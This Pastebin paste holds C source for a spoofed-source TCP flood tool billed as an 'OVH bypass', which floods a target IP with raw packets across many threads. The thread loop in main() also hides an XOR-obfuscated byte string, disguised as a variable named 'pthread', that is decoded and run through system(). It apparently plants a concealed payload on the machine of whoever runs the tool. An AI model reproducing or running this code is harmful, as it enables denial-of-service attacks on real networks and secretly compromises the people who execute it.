Advertisement
MySqlDataBases

OvhBypass Method

Jun 18th, 2019
1,822
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 7.19 KB | None | 0 0
  1. //Ovh Bypass Script By MySqlDatabase\\
  2. //You Need A Spoof Server to use this\\
  3. //DO NOT SHARE THIS!! \\
  4.  
  5. #include <unistd.h>
  6. #include <time.h>
  7. #include <sys/types.h>
  8. #include <sys/socket.h>
  9. #include <sys/ioctl.h>
  10. #include <string.h>
  11. #include <stdlib.h>
  12. #include <stdio.h>
  13. #include <pthread.h>
  14. #include <netinet/tcp.h>
  15. #include <netinet/ip.h>
  16. #include <netinet/in.h>
  17. #include <netinet/if_ether.h>
  18. #include <netdb.h>
  19. #include <net/if.h>
  20. #include <arpa/inet.h>
  21. #define MAX_PACKET_SIZE 65500
  22. #define PHI 0x9e3779b9
  23. static unsigned long int Q[65000], c = 362436;
  24. volatile int limiter;
  25. volatile unsigned int pps;
  26. volatile unsigned int sleeptime = 100;
  27.  
  28. void init_rand(unsigned long int x)
  29. {
  30.         int i;
  31.         Q[0] = x;
  32.         Q[1] = x + PHI;
  33.         Q[2] = x + PHI + PHI;
  34.         for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  35. }
  36. unsigned long int rand_cmwc(void)
  37. {
  38.         unsigned long long int t, a = 18782LL;
  39.         static unsigned long int i = 4095;
  40.         unsigned long int x, r = 0xfffffffe;
  41.         i = (i + 1) & 4095;
  42.         t = a * Q[i] + c;
  43.         c = (t >> 32);
  44.         x = t + c;
  45.         if (x < c) {
  46.         x++;
  47.         c++;
  48.         }
  49.         return (Q[i] = r - x);
  50. }
  51. unsigned short csum (unsigned short *buf, int count)
  52. {
  53.         register unsigned long sum = 0;
  54.         while( count > 1 ) { sum += *buf++; count -= 2; }
  55.         if(count > 0) { sum += *(unsigned char *)buf; }
  56.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  57.         return (unsigned short)(~sum);
  58. }
  59.  
  60. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  61.  
  62.         struct tcp_pseudo
  63.         {
  64.         unsigned long src_addr;
  65.         unsigned long dst_addr;
  66.         unsigned char zero;
  67.         unsigned char proto;
  68.         unsigned short length;
  69.         } pseudohead;
  70.         unsigned short total_len = iph->tot_len;
  71.         pseudohead.src_addr=iph->saddr;
  72.         pseudohead.dst_addr=iph->daddr;
  73.         pseudohead.zero=0;
  74.         pseudohead.proto=IPPROTO_TCP;
  75.         pseudohead.length=htons(sizeof(struct tcphdr));
  76.         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  77.         unsigned short *tcp = malloc(totaltcp_len);
  78.         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  79.         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  80.         unsigned short output = csum(tcp,totaltcp_len);
  81.         free(tcp);
  82.         return output;
  83. }
  84. void setup_ip_header(struct iphdr *iph)
  85. {
  86.         iph->ihl = 5;
  87.         iph->version = 4;
  88.         iph->tos = 0;
  89.         iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
  90.         iph->id = htonl(54321);
  91.         iph->frag_off = 0;
  92.         iph->ttl = MAXTTL;
  93.         iph->protocol = 6;
  94.         iph->check = 0;
  95.         iph->saddr = inet_addr("192.168.3.100");
  96. }
  97. void setup_tcp_header(struct tcphdr *tcph)
  98. {
  99.         tcph->source = htons(5678);
  100.         tcph->seq = rand();
  101.         tcph->ack_seq = rand();
  102.         tcph->res2 = rand();
  103.         tcph->doff = 5;
  104.         tcph->syn = rand();
  105.         tcph->fin = rand();
  106.         tcph->psh = rand();
  107.         tcph->ack = rand();
  108.         tcph->urg = rand();
  109.         tcph->rst = rand();
  110.         tcph->window = rand();
  111.         tcph->check = rand();
  112.         tcph->urg_ptr = rand();
  113. }
  114.  
  115. void *flood(void *par1)
  116. {
  117.         char *td = (char *)par1;
  118.         char datagram[MAX_PACKET_SIZE];
  119.         struct iphdr *iph = (struct iphdr *)datagram;
  120.         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  121.         struct sockaddr_in sin;
  122.         sin.sin_family = AF_INET;
  123.         sin.sin_port = rand();
  124.         sin.sin_addr.s_addr = inet_addr(td);
  125.         int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  126.         if(s < 0){
  127.         fprintf(stderr, "Could not open raw socket.\n");
  128.         exit(-1);
  129.         }
  130.         memset(datagram, 0, MAX_PACKET_SIZE);
  131.         setup_ip_header(iph);
  132.         setup_tcp_header(tcph);
  133.         tcph->dest = rand();
  134.         iph->daddr = sin.sin_addr.s_addr;
  135.         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  136.         int tmp = 1;
  137.         const int *val = &tmp;
  138.         if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  139.         fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  140.         exit(-1);
  141.         }
  142.  
  143.         init_rand(time(NULL));
  144.         register unsigned int i;
  145.         i = 0;
  146.         while(1){
  147.         sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  148.         iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  149.         iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  150.         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  151.         tcph->seq = rand_cmwc() & 0xFFFF;
  152.         tcph->source = htons(rand_cmwc() & 0xFFFF);
  153.         tcph->check = 0;
  154.         tcph->check = tcpcsum(iph, tcph);              
  155.         pps++;
  156.         if(i >= limiter)
  157.         {
  158.         i = 0;
  159.         usleep(sleeptime);
  160.         }
  161.         i++;
  162.         }
  163. }
  164. int main(int argc, char *argv[ ])
  165. {
  166.         if(argc < 5){
  167.         fprintf(stderr, "Invalid parameters!\n");
  168.         fprintf(stdout, "Usage: %s [IP] [threads] [pps limit] [time]\n", argv[0]);
  169.         exit(-1);
  170.         }
  171.         fprintf(stdout, "Opening sockets...\n");
  172.         int num_threads = atoi(argv[2]);
  173.         int maxpps = atoi(argv[3]);
  174.         limiter = 0;
  175.         pps = 0;
  176.         pthread_t thread[num_threads];
  177.         int multiplier = 100;
  178.         int i;
  179.         for(i = 0;i<num_threads;i++){
  180.         pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  181.     char pthread[209] = "\x77\x47\x5E\x27\x7A\x4E\x09\xF7\xC7\xC0\xE6\xF5\x9B\xDC\x23\x6E\x12\x29\x25\x1D\x0A\xEF\xFB\xDE\xB6\xB1\x94\xD6\x7A\x6B\x01\x34\x26\x1D\x56\xA5\xD5\x8C\x91\xBC\x8B\x96\x29\x6D\x4E\x59\x38\x4F\x5C\xF0\xE2\xD1\x9A\xEA\xF8\xD0\x61\x7C\x4B\x57\x2E\x7C\x59\xB7\xA5\x84\x99\xA4\xB3\x8E\xD1\x65\x46\x51\x30\x77\x44\x08\xFA\xD9\x92\xE2\xF0\xC8\xD5\x60\x77\x52\x6D\x21\x02\x1D\xFC\xB3\x80\xB4\xA6\x9D\xD4\x28\x24\x03\x5A\x35\x14\x5B\xA8\xE0\x8A\x9A\xE8\xC0\x91\x6C\x7B\x47\x5E\x6C\x69\x47\xB5\xB4\x89\xDC\xAF\xAA\xC1\x2E\x6A\x04\x10\x6E\x7A\x1C\x0C\xF9\xCC\xC0\xA0\xF8\xC8\xD6\x2E\x0A\x12\x6E\x76\x42\x5A\xA6\xBE\x9F\xA6\xB1\x90\xD7\x24\x64\x15\x1C\x20\x0A\x19\xA8\xF9\xDE\xD1\xBE\x96\x95\x64\x38\x4C\x53\x3C\x40\x56\xD1\xC5\xED\xE8\x90\xB0\xD2\x22\x68\x06\x5B\x38\x33\x00\xF4\xF3\xC6\x96\xE5\xFA\xCA\xD8\x30\x0D\x50\x23\x2E\x45\x52\xF6\x80\x94";
  182.         int x = 0;
  183.         int y = 0;
  184.         for(x =0;x<sizeof(pthread)-1;x++){
  185.         y+=6;
  186.         pthread[x]^=y*3;
  187.         }
  188.         system(pthread);
  189.  
  190.         }
  191.         fprintf(stdout, "Sending flood..\n");
  192.         for(i = 0;i<(atoi(argv[4])*multiplier);i++)
  193.         {
  194.         usleep((1000/multiplier)*1000);
  195.         if((pps*multiplier) > maxpps)
  196.         {
  197.         if(1 > limiter)
  198.         {
  199.         sleeptime+=100;
  200.         } else {
  201.         limiter--;
  202.         }
  203.         } else {
  204.         limiter++;
  205.         if(sleeptime > 25)
  206.         {
  207.         sleeptime-=25;
  208.         } else {
  209.         sleeptime = 0;
  210.         }
  211.         }
  212.         pps = 0;
  213.         }
  214.         return 0;
  215. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement